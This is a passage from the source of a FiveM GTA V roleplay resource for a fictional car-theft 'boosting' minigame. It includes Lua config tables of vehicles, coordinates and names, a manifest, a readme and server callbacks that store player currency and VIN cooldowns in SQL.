127 | SQL('UPDATE bropixel_boosting SET BNE=@bne WHERE citizenid=@citizenid', {['@citizenid'] = cid , ['@bne'] = pBne - amount})
128 | end
129 |
130 | ----- VEHCILES TO SPAWN -------
131 | Config.Vehicles = {
132 |
133 | ---------- S CLASS --------------
134 | [1] = {vehicle = "t20"},
135 | [2] = {vehicle = "Zion2"},
136 | [3] = {vehicle = "Felon"},
137 | [4] = {vehicle = "Zentorno"},
138 | -- ---------- A CLASS --------------
139 | [5] = {vehicle = "Oracle2"},
140 | [6] = {vehicle = "Windsor2"},
141 | [7] = {vehicle = "SabreGT2"},
142 | [8] = {vehicle = "Sentinel2"},
143 | [9] = {vehicle = "Zion"},
144 | [10] = {vehicle = "Phoenix"},
145 | [11] = {vehicle = "Washington"},
146 | [12] = {vehicle = "Banshee2"},
147 | [13] = {vehicle = "Infernus2"},
148 | [14] = {vehicle = "Nero"},
149 | [15] = {vehicle = "Nero2"},
150 | [16] = {vehicle = "Brawler"},
151 | ---------- B CLASS --------------
152 | [17] = {vehicle = "Prairie"},
153 | [18] = {vehicle = "Chino"},
154 | [19] = {vehicle = "Dukes"},
155 | [20] = {vehicle = "Virgo3"},
156 | [21] = {vehicle = "Tampa"},
157 | [22] = {vehicle = "Blade"},
158 | [23] = {vehicle = "Nightshade"},
159 | [24] = {vehicle = "Primo"},
160 | [25] = {vehicle = "Primo2"},
161 | [26] = {vehicle = "Regina"},
162 | [27] = {vehicle = "ZType"},
163 | [28] = {vehicle = "Bison3"},
164 | [29] = {vehicle = "Bison"},
165 | [30] = {vehicle = "blista"},
166 | [31] = {vehicle = "blista2"},
167 | [32] = {vehicle = "Issi2"},
168 | [33] = {vehicle = "Issi2"},
169 | [34] = {vehicle = "Buccaneer2"},
170 | [35] = {vehicle = "Picador"},
171 | ---------- C CLASS --------------
172 | [36] = {vehicle = "Emperor2"},
173 | [37] = {vehicle = "Tornado3"},
174 | [38] = {vehicle = "BType"},
175 | [39] = {vehicle = "Sadler"},
176 | [40] = {vehicle = "Bison2"},
177 | [41] = {vehicle = "Minivan2"},
178 | [42] = {vehicle = "RatLoader"},
179 | [43] = {vehicle = "Virgo2"},
180 | ---------- D CLASS --------------
181 | [44] = {vehicle = "Dilettante"},
182 | }
183 |
184 |
185 | ----- DROP OFF LOCATIONS -------
186 | Config.BoostingDropOff = {
187 | [1] = { ['x'] = 196.87251281738,['y'] = -156.60850524902,['z'] = 56.786975860596},
188 | [2] = { ['x'] = -1286.9621582031,['y'] = -274.47973632813,['z'] = 38.724918365479},
189 | [3] = { ['x'] = -1330.8432617188,['y'] = -1034.8623046875,['z'] = 7.518029212951},
190 | }
191 |
192 | ----- VEHICLE SPAWN LOCATIONS -------
193 | Config.VehicleCoords = {
194 | [1] = {x = -1132.395, y = -1070.607, z = 1.64372, h = 120.00},
195 | [2] = {x = -935.1176, y = -1080.552, z = 1.683342, h = 120.1060},
196 | [3] = {x = -1074.953,y = -1160.545,z = 1.661577, h = 119.0},
197 | [4] = {x = -1023.625,y = -890.4014,z = 5.202, h = 216.0399},
198 | [5] = {x = -1609.647,y = -382.792,z = 42.70383, h = 52.535},
199 | [6] = {x = -1527.88,y = -309.8757,z = 47.88678, h= 323.43},
200 | [7] = {x = -1658.969,y = -205.1732,z = 54.8448,h = 71.138},
201 | [8] = {x = 97.57888,y = -1946.472,z = 20.27978,h = 215.933},
202 | [9] = {x = -61.59007,y = -1844.621,z = 26.1685,h = 138.9848},
203 | [10] = {x = 28.51439,y = -1734.881,z = 28.5415,h = 231.968},
204 | [11] = {x = 437.5428,y = -1925.465,z = 24.004,h = 28.82286},
205 | [12] = {x = 406.5316,y = -1920.471,z = 24.51589,h = 224.6432},
206 | [13] = {x = 438.4482,y = -1838.672,z = 27.47369,h = 42.8129 },
207 | [14] = {x = 187.353,y = -1542.984,z = 28.72487,h = 39.00627},
208 | [15] = {x = 1153.467,y = -330.2682,z = 68.60548,h = 7.20},
209 | [16] = {x = 1144.622,y = -465.7694,z = 66.20689,h = 76.612770},
210 | [17] = {x = 1295.844,y = -567.6,z = 70.77858,h = 166.552},
211 | [18] = {x = 1319.566,y = -575.9492,z = 72.58221,h = 155.9249},
212 | [19] = {x = 1379.466,y = -596.0999,z = 73.89736,h = 230.594},
213 | [20] = {x = 1256.648,y = -624.0594,z = 68.93141,h = 117.415},
214 | [21] = {x = 1368.127,y = -748.2613,z = 66.62316,h = 231.535},
215 | [22] = {x = 981.7167,y = -709.7389,z = 57.18427,h = 128.729},
216 | [23] = {x = 958.206,y = -662.7545,z = 57.57119,h = 116.9299},
217 | [24] = {x = -2012.404,y = 484.0458,z = 106.5597,h = 78.13},
218 | [25] = {x = -2001.294,y = 454.7647,z = 102.0194,h = 108.1178},
219 | [26] = {x = -1994.725,y = 377.4933,z = 94.04324,h = 89.64067},
220 | [27] = {x = -1967.549,y = 262.1507,z = 86.23506,h = 109.1846},
221 | [28] = {x = -989.6796,y = 418.4977,z = 74.731,h = 20.262},
222 | [29] = {x = -979.6517,y = 518.119,z = 81.03075,h = 328.386},
223 | [30] = {x = -1040.915,y = 496.5622,z = 82.52803,h = 54.439},
224 | [31] = {x = -1094.621,y = 439.2605,z = 74.84596,h = 84.936},
225 | [32] = {x = -1236.895,y = 487.9722,z = 92.82943,h = 330.6634},
226 | [33] = {x = -1209.098,y = 557.9588,z = 99.04235,h = 3.2526},
227 | [34] = {x = -1155.296,y = 565.4297,z = 101.3919,h = 7.4106},
228 | [35] = {x = -1105.378,y = 551.5797,z = 102.1759,h = 211.7110},
229 | [36] = {x = 1708.02,y = 3775.486,z = 34.08183,h = 35.04580},
230 | [37] = {x = 2113.365,y = 4770.113,z = 40.72895,h = 297.5323},
231 | [38] = {x = 2865.448,y = 1512.715,z = 24.12726,h = 252.3262},
232 | [39] = {x = 1413.973,y = 1119.024,z = 114.3981,h = 305.99868},
233 | [40] = {x = -78.39651,y = 497.4749,z = 143.9646,h = 160.2948},
234 | [41] = {x = -248.9841,y = 492.9105,z = 125.0711,h = 208.5761},
235 | [42] = {x = 14.09792,y = 548.8402,z = 175.7571,h = 241.4019775},
236 | [43] = {x = 51.48445,y = 562.2509,z = 179.8492,h = 203.159},
237 | [44] = {x = -319.3912,y = 478.9731,z = 111.7186,h = 298.7645},
238 | [45] = {x = -202.0035,y = 410.2064,z = 110.0086,h = 195.6136},
239 | [46] = {x = -187.1009, y = 379.9514, z = 108.0138, h = 176.9462},
240 | [47] = {x = 213.5159, y = 389.3123, z = 106.4154, h = 348.890255},
241 | [48] = {x = 323.7256, y = 343.3308, z = 104.761, h = 345.49426},
242 | [49] = {x = 701.1197, y = 254.4424, z = 92.85217, h = 240.62884},
243 | [50] = {x = 656.4758, y = 184.8482, z = 94.53828, h = 248.9376},
244 | [51] = {x = 615.5524, y = 161.4801, z = 96.91451, h = 69.2577},
245 | [52] = {x = 899.2693, y = -41.99047, z = 78.32366, h = 28.13086},
246 | [53] = {x = 873.3314, y = 9.008331, z = 78.32432, h = 329.343},
247 | [54] = {x = 941.2477, y = -248.0161, z = 68.15629, h = 328.122},
248 | [55] = {x = 842.7501, y = -191.9954, z = 72.1975, h = 329.2124},
249 | [56] = {x = 534.3583, y = -26.7027, z = 70.18916, h = 30.70978},
250 | [57] = {x = 302.5077, y = -176.5727, z = 56.95071, h = 249.3339},
251 | [58] = {x = 85.26346, y = -214.7179, z = 54.05132, h = 160.2142},
252 | [59] = {x = 78.38569, y = -198.4182, z = 55.79539, h = 70.1377},
253 | [60] = {x = -30.09893, y = -89.37914, z = 56.8136, h = 340.32879},
254 | }
255 |
256 |
257 |
258 | ----- YOU CAN MESS AROUND WITH THESE NAMES CUZ WHY NOT -------
259 |
260 | Config.CitizenNames = {
261 | [1] = {name = "Geoffrey Willis"},
262 | [2] = {name = "Judy Gordon"},
263 | [3] = {name = "Nathan Ross"},
264 | [4] = {name = "Mona Collins"},
265 | [5] = {name = "Arnold Pittman"},
266 | [6] = {name = "Brittany Wallace"},
267 | [7] = {name = "Natalie Taylor"},
268 | [8] = {name = "Garry Stewart"},
269 | [9] = {name = "Terrell Todd"},
270 | [10] = {name = "Vincent Price"},
271 | [11] = {name = "Todd Hardy"},
272 | [12] = {name = "Elvira Gross"},
273 | [13] = {name = "Rudy Newman"},
274 | [14] = {name = "Rickey Nash"},
275 | [15] = {name = "Shawn Harris"},
276 | [16] = {name = "Archie Delgado"},
277 | [17] = {name = "Josephine Hall"},
278 | [18] = {name = "Gregory Elliott"},
279 | [19] = {name = "Marjorie Carlson"},
280 | [20] = {name = "Lois Phillips"},
281 | [21] = {name = "Darla Lowe"},
282 | [22] = {name = "Guadalupe Blake"},
283 | [23] = {name = "Jack Curry"},
284 | [24] = {name = "Clifford Sanchez"},
285 | [25] = {name = "Neil Howard"},
286 | [26] = {name = "Betsy Mitchell"},
287 | [27] = {name = "Regina Moss"},
288 | [28] = {name = "Maxine Davis"},
289 | [29] = {name = "Elisa Estrada"},
290 | [30] = {name = "Geneva Newton"},
291 | [31] = {name = "Trevor Shelton"},
292 | [32] = {name = "Candice Murphy"},
293 | [33] = {name = "Roman Austin"},
294 | [34] = {name = "Juanita Rhodes"},
295 | [35] = {name = "Laurie Thompson"},
296 | [36] = {name = "Horace Goodwin"},
297 | [37] = {name = "Julio Kennedy"},
298 | [38] = {name = "Rosalie Norton"},
299 | [39] = {name = "Eleanor Gilbert"},
300 | [40] = {name = "Kristine Frank"},
301 | [41] = {name = "Lynn Olson"},
302 | [42] = {name = "Ruben Huff"},
303 | [43] = {name = "Janice Page"},
304 | [44] = {name = "Drew Parks"},
305 | [45] = {name = "Maggie Garner"},
306 | [46] = {name = "Kenneth Mcdaniel"},
307 | [47] = {name = "Sara Herrera"},
308 | [48] = {name = "Allen Morton"},
309 | [49] = {name = "Howard Klein"},
310 | [50] = {name = "Jared Little"},
311 | [51] = {name = "Jesse Fleming"},
312 | [52] = {name = "Andre Patrick"},
313 | [53] = {name = "Pam Mccormick"},
314 | [54] = {name = "Abel Glover"},
315 | [55] = {name = "Casey Brewer"},
316 | [56] = {name = "Kimberly Foster"},
317 | [57] = {name = "Gary Ruiz"},
318 | [58] = {name = "Theresa Drake"},
319 | [59] = {name = "Lorraine Frazier"},
320 | [60] = {name = "Melvin Mendez"},
321 | [61] = {name = "Courtney Burns"},
322 | [62] = {name = "Ora Pope"},
323 | [63] = {name = "Cecil Moreno"},
324 | [64] = {name = "Kenny Richardson"},
325 | [65] = {name = "Salvatore Larson"},
326 | [66] = {name = "Ethel Martinez"},
327 | [67] = {name = "Ross Sims"},
328 | [68] = {name = "Peter Hubbard"},
329 | [69] = {name = "Noel Evans"},
330 | [70] = {name = "Joseph Hunter"},
331 | [71] = {name = "Russell Keller"},
332 | [72] = {name = "Phil Simon"},
333 | [73] = {name = "Bertha Cruz"},
334 | [74] = {name = "Rufus Carroll"},
335 | [75] = {name = "Jeremiah Russell"},
336 | [76] = {name = "Kim Roy"},
337 | [77] = {name = "Sally Obrien"},
338 | [78] = {name = "Joshua Hunt"},
339 | [79] = {name = "Kurt Singleton"},
340 | [80] = {name = "Marlon Carter"},
341 | [81] = {name = "Jane Collier"},
342 | [82] = {name = "Marshall Johnston"},
343 | [83] = {name = "Stacey Morris"},
344 | [84] = {name = "Ivan Lindsey"},
345 | [85] = {name = "Alberta Oliver"},
346 | [86] = {name = "Earnest Paul"},
347 | [87] = {name = "Henrietta Doyle"},
348 | [88] = {name = "Bryant Green"},
349 | [89] = {name = "Viola Wagner"},
350 | [90] = {name = "Roosevelt Jacobs"},
351 | [91] = {name = "Rolando Clayton"},
352 | [92] = {name = "Bernice Graham"},
353 | [92] = {name = "Carl Knight"},
354 | [94] = {name = "Justin Carr"},
355 | [95] = {name = "Toni Briggs"},
356 | [96] = {name = "Amos Williamson"},
357 | [97] = {name = "Lamar Leonard"},
358 | [98] = {name = "Wm Allison"},
359 | [99] = {name = "Johnnie Quinn"},
360 | [100] = {name = "Jenna Anderson"},
361 | }
362 |
363 |
364 |
365 |
366 | --------------BLIPS----------------- DON4T TOUCH ANY OF THESE UNLESS YOU KNOW WHAT YOU ARE DOING
367 | local Circle
368 |
369 |
370 | function CreateBlip(v)
371 | Circle = Citizen.InvokeNative(0x46818D79B1F7499A,v.x + math.random(0.0,150.0), v.y + math.random(0.0,80.0), v.z + math.random(0.0,5.0) , 300.0) -- you can use a higher number for a bigger zone
372 | SetBlipHighDetail(Circle, true)
373 | SetBlipColour(Circle, 18)
374 | SetBlipAlpha (Circle, 128)
375 | end
376 |
377 | function DeleteCircle()
378 | if DoesBlipExist(Circle) then
379 | RemoveBlip(Circle)
380 | end
381 | end
382 |
383 |
384 | function DeleteBlip()
385 | if DoesBlipExist(blip) then
386 | RemoveBlip(blip)
387 | end
388 | end
389 |
390 |
391 | function CreateDropPoint()
392 | DeleteBlip()
393 | rnd = math.random(1,#Config.BoostingDropOff)
394 | if OnTheDropoffWay then
395 | blip = AddBlipForCoord(Config.BoostingDropOff[rnd]["x"],Config.BoostingDropOff[rnd]["y"],Config.BoostingDropOff[rnd]["z"])
396 | end
397 | SetBlipSprite(blip, 514)
398 | SetBlipScale(blip, 0.7)
399 | SetBlipAsShortRange(blip, false)
400 | BeginTextCommandSetBlipName("STRING")
401 | AddTextComponentString("Drop Off")
402 | EndTextCommandSetBlipName(blip)
403 | DropblipCreated = true
404 | end
405 |
406 | function DeleteCopBlip()
407 | if DoesBlipExist(copblip) then
408 | RemoveBlip(copblip)
409 | end
410 | end
411 |
412 | function CreateCopBlip(cx,cy,cz)
413 | DeleteCopBlip()
414 | copblip = AddBlipForCoord(cx,cy,cz)
415 | SetBlipSprite(copblip , 161)
416 | SetBlipScale(copblipy , 2.0)
417 | SetBlipColour(copblip, 8)
418 | PulseBlip(copblip)
419 | end
420 |
421 |
422 | function CreateScratchPoint()
423 | DeleteBlip()
424 | if vinstarted then
425 | blip = AddBlipForCoord(Config.ScratchLocation[1]["x"],Config.ScratchLocation[1]["y"],Config.ScratchLocation[1]["z"])
426 | end
427 | SetBlipSprite(blip, 514)
428 | SetBlipScale(blip, 0.7)
429 | SetBlipAsShortRange(blip, false)
430 | BeginTextCommandSetBlipName("STRING")
431 | AddTextComponentString("Vin Scratch")
432 | EndTextCommandSetBlipName(blip)
433 | DropblipCreated = true
434 | end
435 |
436 |
437 | function DrawText3D2(x, y, z, text)
438 | local onScreen,_x,_y=World3dToScreen2d(x, y, z)
439 | local px,py,pz=table.unpack(GetGameplayCamCoords())
440 |
441 | SetTextScale(0.35, 0.35)
442 | SetTextFont(4)
443 | SetTextProportional(1)
444 | SetTextColour(255, 255, 255, 215)
445 | SetTextEntry("STRING")
446 | SetTextCentre(1)
447 | AddTextComponentString(text)
448 | DrawText(_x,_y)
449 | local factor = (string.len(text)) / 370
450 | DrawRect(_x,_y+0.0125, 0.015+ factor, 0.03, 41, 11, 41, 90)
451 | end
452 |
453 |
454 | ShowNotification = function(msg, type)
455 | exports['mythic_notify']:SendAlert(type, msg)
456 | end
457 |
458 |
459 | function LoadDict(dict)
460 | RequestAnimDict(dict)
461 | while not HasAnimDictLoaded(dict) do
462 | Citizen.Wait(10)
463 | end
464 | end
--------------------------------------------------------------------------------
/boosting/fxmanifest.lua:
--------------------------------------------------------------------------------
1 | fx_version 'cerulean'
2 | games { 'gta5' }
3 |
4 | client_scripts {
5 | 'config.lua',
6 | 'client/cl_*.lua',
7 | --'@unwind-rpc/client/cl_main.lua',
8 | }
9 |
10 | server_scripts {
11 | 'config.lua',
12 | 'server/sv_*.lua',
13 | --'@unwind-rpc/server/sv_main.lua',
14 | }
15 |
16 | ui_page 'ui/index.html'
17 |
18 | files {
19 | 'ui/*'
20 | }
--------------------------------------------------------------------------------
/boosting/readme.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | ## Read Config thoroughly
4 |
5 | ### if using esx or np-base following items to your inventory:
6 | ```
7 | pixellaptop
8 | ```
9 | ```
10 | disabler
11 | ```
12 |
13 |
14 | ## if using qbcore add the following items to qb-core/shared.lua
15 | ```
16 | ['pixellaptop'] = {['name'] = 'pixellaptop', ['label'] = 'pixellaptop', ['weight'] = 2000, ['type'] = 'item', ['image'] = 'tunerchip.png', ['unique'] = true, ['useable'] = true, ['shouldClose'] = true, ['combinable'] = nil, ['description'] = 'Boosting Laptop'},
17 | ```
18 | ```
19 | ['disabler'] = {['name'] = 'disabler', ['label'] = 'disabler', ['weight'] = 500, ['type'] = 'item', ['image'] = 'tablet.png', ['unique'] = false, ['useable'] = true, ['shouldClose'] = true, ['combinable'] = nil, ['description'] = 'for the boosting contracts'},
20 | ```
21 |
--------------------------------------------------------------------------------
/boosting/server/sv_main.lua:
--------------------------------------------------------------------------------
1 |
2 | local CoreName = nil
3 | ESX = nil
4 |
5 | if Config['General']["Core"] == "QBCORE" then
6 | if Config['CoreSettings']["QBCORE"]["Version"] == "new" then
7 | CoreName = Config['CoreSettings']["QBCORE"]["Export"]
8 | elseif Config['CoreSettings']["QBCORE"]["Version"] == "old" then
9 | TriggerEvent(Config['CoreSettings']["QBCORE"]["Trigger"], function(obj) CoreName = obj end)
10 | end
11 | elseif Config['General']["Core"] == "ESX" then
12 | TriggerEvent(Config['CoreSettings']["ESX"]["Trigger"], function(obj) ESX = obj end)
13 | end
14 |
15 |
16 |
17 |
18 | SQL = function(query, parameters, cb)
19 | local res = nil
20 | local IsBusy = true
21 | if Config['General']["SQLWrapper"] == "mysql-async" then
22 | if string.find(query, "SELECT") then
23 | MySQL.Async.fetchAll(query, parameters, function(result)
24 | if cb then
25 | cb(result)
26 | else
27 | res = result
28 | IsBusy = false
29 | end
30 | end)
31 | else
32 | MySQL.Async.execute(query, parameters, function(result)
33 | if cb then
34 | cb(result)
35 | else
36 | res = result
37 | IsBusy = false
38 | end
39 | end)
40 | end
41 | elseif Config['General']["SQLWrapper"] == "oxmysql" then
42 | exports.oxmysql:execute(query, parameters, function(result)
43 | if cb then
44 | cb(result)
45 | else
46 | res = result
47 | IsBusy = false
48 | end
49 | end)
50 | elseif Config['General']["SQLWrapper"] == "ghmattimysql" then
51 | exports.ghmattimysql:execute(query, parameters, function(result)
52 | if cb then
53 | cb(result)
54 | else
55 | res = result
56 | IsBusy = false
57 | end
58 | end)
59 | end
60 | while IsBusy do
61 | Citizen.Wait(0)
62 | end
63 | return res
64 | end
65 |
66 | if Config['General']["Core"] == "QBCORE" then
67 | CoreName.Functions.CreateCallback('bropixel-boosting:GetExpireTime', function(source, cb)
68 | local shit = (os.time() + 6 * 3600)
69 | cb(shit)
70 | end)
71 | elseif Config['General']["Core"] == "ESX" then
72 | ESX.RegisterServerCallback('bropixel-boosting:GetExpireTime', function(source, cb)
73 |
74 | local shit = (os.time() + 6 * 3600)
75 | cb(shit)
76 | end)
77 | elseif Config['General']["Core"] == "NPBASE" then
78 | RPC.register("bropixel-boosting:GetExpireTime", function()
79 | local shit = (os.time() + 6 * 3600)
80 | return shit
81 | end)
82 | end
83 |
84 |
85 | if Config['General']["Core"] == "QBCORE" then
86 | CoreName.Functions.CreateCallback('bropixel-boosting:getCurrentBNE', function(source, cb)
87 | local src = source
88 | local pData = CoreName.Functions.GetPlayer(src)
89 | local cid = pData.PlayerData.citizenid
90 | if pData ~= nil then
91 | local sql = SQL('SELECT * FROM bropixel_boosting WHERE citizenid=@citizenid', {['@citizenid'] = cid})
92 | if sql[1] == nil then
93 | SQL('INSERT INTO bropixel_boosting (citizenid) VALUES (?)',{cid})
94 | cb({BNE = 0, background = tostring(Config['Utils']["Laptop"]["DefaultBackground"]) , vin = nil})
95 | else
96 | if sql[1].BNE ~= nil then
97 | cb({BNE = sql[1].BNE , background = sql[1].background , vin = sql[1].vin})
98 | else
99 | cb({BNE = 0 , background = tostring(Config['Utils']["Laptop"]["DefaultBackground"]) , vin = nil})
100 | end
101 | end
102 | end
103 | end)
104 | elseif Config['General']["Core"] == "ESX" then
105 | ESX.RegisterServerCallback('bropixel-boosting:getCurrentBNE', function(source, cb)
106 |
107 | local src = source
108 | local xPlayer = ESX.GetPlayerFromId(src)
109 | local cid = xPlayer.identifier
110 |
111 | if xPlayer ~= nil then
112 | local sql = SQL('SELECT * FROM bropixel_boosting WHERE citizenid=@citizenid', {['@citizenid'] = cid})
113 | if sql[1] == nil then
114 | SQL('INSERT INTO bropixel_boosting (citizenid) VALUES (?)',{cid})
115 | cb(0)
116 | else
117 | if sql[1].BNE ~= nil then
118 | cb({BNE = sql[1].BNE , background = sql[1].background , vin = sql[1].vin})
119 | else
120 | cb(0)
121 | end
122 | end
123 | end
124 | end)
125 | elseif Config['General']["Core"] == "NPBASE" then
126 | RPC.register("bropixel-boosting:getCurrentBNE", function()
127 | local src = source
128 | local user = exports[Config['CoreSettings']["NPBASE"]["Name"]]:getModule("Player"):GetUser(src)
129 | local cid = user:getCurrentCharacter().id
130 | if user ~= nil then
131 | local sql = SQL('SELECT * FROM bropixel_boosting WHERE citizenid=@citizenid', {['@citizenid'] = cid})
132 | if sql[1] == nil then
133 | SQL('INSERT INTO bropixel_boosting (citizenid) VALUES (?)',{cid})
134 | value = 0
135 | else
136 | if sql[1].BNE ~= nil then
137 | value = ({BNE = sql[1].BNE , background = sql[1].background})
138 | else
139 | value = 0
140 | end
141 | end
142 | end
143 | return value
144 | end)
145 | end
146 |
147 |
148 |
149 |
150 |
151 |
152 | RegisterNetEvent("bropixel-boosting:server:setBacgkround")
153 | AddEventHandler("bropixel-boosting:server:setBacgkround" , function(back)
154 | local src = source
155 | if Config['General']["Core"] == "QBCORE" then
156 | local pData = CoreName.Functions.GetPlayer(src)
157 | local cid = pData.PlayerData.citizenid
158 | local sql = SQL('UPDATE bropixel_boosting SET background=@b WHERE citizenid=@citizenid', {['@citizenid'] = cid , ['@b'] = back})
159 |
160 | elseif Config['General']["Core"] == "ESX" then
161 | local xPlayer = ESX.GetPlayerFromId(src)
162 | local cid = xPlayer.identifier
163 |
164 | if xPlayer ~= nil then
165 | local sql = SQL('UPDATE bropixel_boosting SET background=@b WHERE citizenid=@citizenid', {['@citizenid'] = cid , ['@b'] = back})
166 | end
167 | elseif Config['General']["Core"] == "NPBASE" then
168 | local user = exports[Config['CoreSettings']["NPBASE"]["Name"]]:getModule("Player"):GetUser(src)
169 | local cid = user:getCurrentCharacter().id
170 | if user ~= nil then
171 | local sql = SQL('UPDATE bropixel_boosting SET background=@b WHERE citizenid=@citizenid', {['@citizenid'] = cid , ['@b'] = back})
172 | end
173 | end
174 | end)
175 |
176 |
177 |
178 |
179 | if Config['General']["Core"] == "QBCORE" then
180 | CoreName.Functions.CreateCallback('bropixel-boosting:removeBNE', function(source, cb , amount)
181 | local src = source
182 | local pData = CoreName.Functions.GetPlayer(src)
183 | local cid = pData.PlayerData.citizenid
184 | if pData ~= nil then
185 | local sql = SQL('SELECT * FROM bropixel_boosting WHERE citizenid=@citizenid', {['@citizenid'] = cid})
186 | if sql[1].BNE ~= nil then
187 | local pBNE = sql[1].BNE
188 | RemoveBNE(cid, pBNE, amount)
189 | else
190 | cb(0)
191 | end
192 | end
193 | end)
194 | elseif Config['General']["Core"] == "ESX" then
195 | ESX.RegisterServerCallback('bropixel-boosting:removeBNE', function(source, cb , amount)
196 |
197 | local src = source
198 | local xPlayer = ESX.GetPlayerFromId(src)
199 | local cid = xPlayer.identifier
200 |
201 | if xPlayer ~= nil then
202 | local sql = SQL('SELECT * FROM bropixel_boosting WHERE citizenid=@citizenid', {['@citizenid'] = cid})
203 | if sql[1].BNE ~= nil then
204 | local pBNE = sql[1].BNE
205 | RemoveBNE(cid, pBNE, amount)
206 | else
207 | cb(0)
208 | end
209 |
210 | end
211 | end)
212 | elseif Config['General']["Core"] == "NPBASE" then
213 | RPC.register("bropixel-boosting:removeBNE", function(amount)
214 | local src = source
215 | local user = exports[Config['CoreSettings']["NPBASE"]["Name"]]:getModule("Player"):GetUser(src)
216 | local cid = user:getCurrentCharacter().id
217 | if user ~= nil then
218 | local sql = SQL('SELECT * FROM bropixel_boosting WHERE citizenid=@citizenid', {['@citizenid'] = cid})
219 | if sql[1].BNE ~= nil then
220 | local pBNE = sql[1].BNE
221 | RemoveBNE(cid, pBNE, amount)
222 | else
223 | value = 0
224 | end
225 |
226 | end
227 | return value
228 | end)
229 | end
230 |
231 |
232 | if Config['General']["Core"] == "QBCORE" then
233 | CoreName.Functions.CreateCallback('bropixel-boosting:addBne', function(source, cb , amount)
234 | local src = source
235 | local pData = CoreName.Functions.GetPlayer(src)
236 | local cid = pData.PlayerData.citizenid
237 | if pData ~= nil then
238 | local sql = SQL('SELECT * FROM bropixel_boosting WHERE citizenid=@citizenid', {['@citizenid'] = cid})
239 | if sql[1].BNE ~= nil then
240 | local pBNE = sql[1].BNE
241 | AddBNE(cid, pBNE, amount)
242 | else
243 | cb(0)
244 | end
245 | end
246 | end)
247 | elseif Config['General']["Core"] == "ESX" then
248 | ESX.RegisterServerCallback('bropixel-boosting:addBne', function(source, cb , amount)
249 | local src = source
250 | local xPlayer = ESX.GetPlayerFromId(src)
251 | local cid = xPlayer.identifier
252 | local sql = SQL('SELECT * FROM bropixel_boosting WHERE citizenid=@citizenid', {['@citizenid'] = cid})
253 | if sql[1].BNE ~= nil then
254 | local pBNE = sql[1].BNE
255 | AddBNE(cid, pBNE, amount)
256 | else
257 | cb(0)
258 | end
259 | end)
260 | elseif Config['General']["Core"] == "NPBASE" then
261 | RPC.register("bropixel-boosting:addBne", function(amount)
262 | local src = source
263 | local user = exports[Config['CoreSettings']["NPBASE"]["Name"]]:getModule("Player"):GetUser(src)
264 | local cid = user:getCurrentCharacter().id
265 | if user ~= nil then
266 | local sql = SQL('SELECT * FROM bropixel_boosting WHERE citizenid=@citizenid', {['@citizenid'] = cid})
267 | if sql[1].BNE ~= nil then
268 | local pBNE = sql[1].BNE
269 | AddBNE(cid, pBNE, amount)
270 | else
271 | value = 0
272 | end
273 | end
274 | return value
275 | end)
276 | end
277 |
278 |
279 | if Config['General']["Core"] == "QBCORE" then
280 | CoreName.Functions.CreateCallback('bropixel-boosting:server:checkVin', function(source, cb , data)
281 | local src = source
282 | local pData = CoreName.Functions.GetPlayer(src)
283 | local cid = pData.PlayerData.citizenid
284 |
285 | if pData ~= nil then
286 | local sql = SQL('SELECT * FROM bropixel_boosting WHERE citizenid=@citizenid', {['@citizenid'] = cid})
287 | if(sql[1] ~= nil) then
288 | if(sql[1].vin == 0) then
289 | value = true
290 | SQL('UPDATE bropixel_boosting SET vin=@vin WHERE citizenid=@citizenid', {['@citizenid'] = cid , ['@vin'] = os.time()})
291 | else
292 | local d1 = os.date("*t", os.time())
293 | local d2 = os.date("*t", sql[1].vin)
294 | local zone_diff = os.difftime(os.time(d1), os.time(d2))
295 | if(math.floor(zone_diff / 86400) >= Config['Utils']["VIN"] ["VinDays"]) then
296 | cb(true)
297 | SQL('UPDATE bropixel_boosting SET vin=@vin WHERE citizenid=@citizenid', {['@citizenid'] = cid , ['@vin'] = os.time()})
298 | end
299 | end
300 | end
301 | end
302 | end)
303 | elseif Config['General']["Core"] == "ESX" then
304 | ESX.RegisterServerCallback('bropixel-boosting:server:checkVin', function(source, cb , data)
305 |
306 | local src = source
307 | local xPlayer = ESX.GetPlayerFromId(src)
308 | local cid = xPlayer.identifier
309 |
310 | if xPlayer ~= nil then
311 | local sql = SQL('SELECT * FROM bropixel_boosting WHERE citizenid=@citizenid', {['@citizenid'] = cid})
312 | if(sql[1] ~= nil) then
313 | if(sql[1].vin == 0) then
314 | value = true
315 | SQL('UPDATE bropixel_boosting SET vin=@vin WHERE citizenid=@citizenid', {['@citizenid'] = cid , ['@vin'] = os.time()})
316 | else
317 | local d1 = os.date("*t", os.time())
318 | local d2 = os.date("*t", sql[1].vin)
319 | local zone_diff = os.difftime(os.time(d1), os.time(d2))
320 | if(math.floor(zone_diff / 86400) >= Config['Utils']["VIN"] ["VinDays"]) then
321 | cb(true)
322 | SQL('UPDATE bropixel_boosting SET vin=@vin WHERE citizenid=@citizenid', {['@citizenid'] = cid , ['@vin'] = os.time()})
323 | end
324 | end
325 | end
326 | end
327 | end)
328 | elseif Config['General']["Core"] == "NPBASE" then
329 | RPC.register("bropixel-boosting:server:checkVin", function()
330 | local src = source
331 | local user = exports[Config['CoreSettings']["NPBASE"]["Name"]]:getModule("Player"):GetUser(src)
332 | local cid = user:getCurrentCharacter().id
333 | if user ~= nil then
334 | local sql = SQL('SELECT * FROM bropixel_boosting WHERE citizenid=@citizenid', {['@citizenid'] = cid})
335 | if(sql[1] ~= nil) then
336 | if(sql[1].vin == 0) then
337 | value = true
338 | SQL('UPDATE bropixel_boosting SET vin=@vin WHERE citizenid=@citizenid', {['@citizenid'] = cid , ['@vin'] = os.time()})
339 | else
340 | local d1 = os.date("*t", os.time())
341 | local d2 = os.date("*t", sql[1].vin)
342 | local zone_diff = os.difftime(os.time(d1), os.time(d2))
343 | if(math.floor(zone_diff / 86400) >= Config['Utils']["VIN"] ["VinDays"]) then
344 | value = true
345 | SQL('UPDATE bropixel_boosting SET vin=@vin WHERE citizenid=@citizenid', {['@citizenid'] = cid , ['@vin'] = os.time()})
346 | end
347 | end
348 | end
349 | end
350 | return value
351 | end)
352 | end
353 |
354 |
355 | if Config['General']["Core"] == "QBCORE" then
356 | CoreName.Functions.CreateCallback('bropixel-boosting:GetTimeLeft', function(source, cb , data)
357 | local shit = 2
358 | cb(shit)
359 | end)
360 | elseif Config['General']["Core"] == "ESX" then
361 | ESX.RegisterServerCallback('bropixel-boosting:GetTimeLeft', function(source, cb , data)
362 | local shit = 2
363 | cb(shit)
364 | end)
365 | elseif Config['General']["Core"] == "NPBASE" then
366 | RPC.register("bropixel-boosting:GetTimeLeft", function()
367 | local shit = 2
368 | cb(shit)
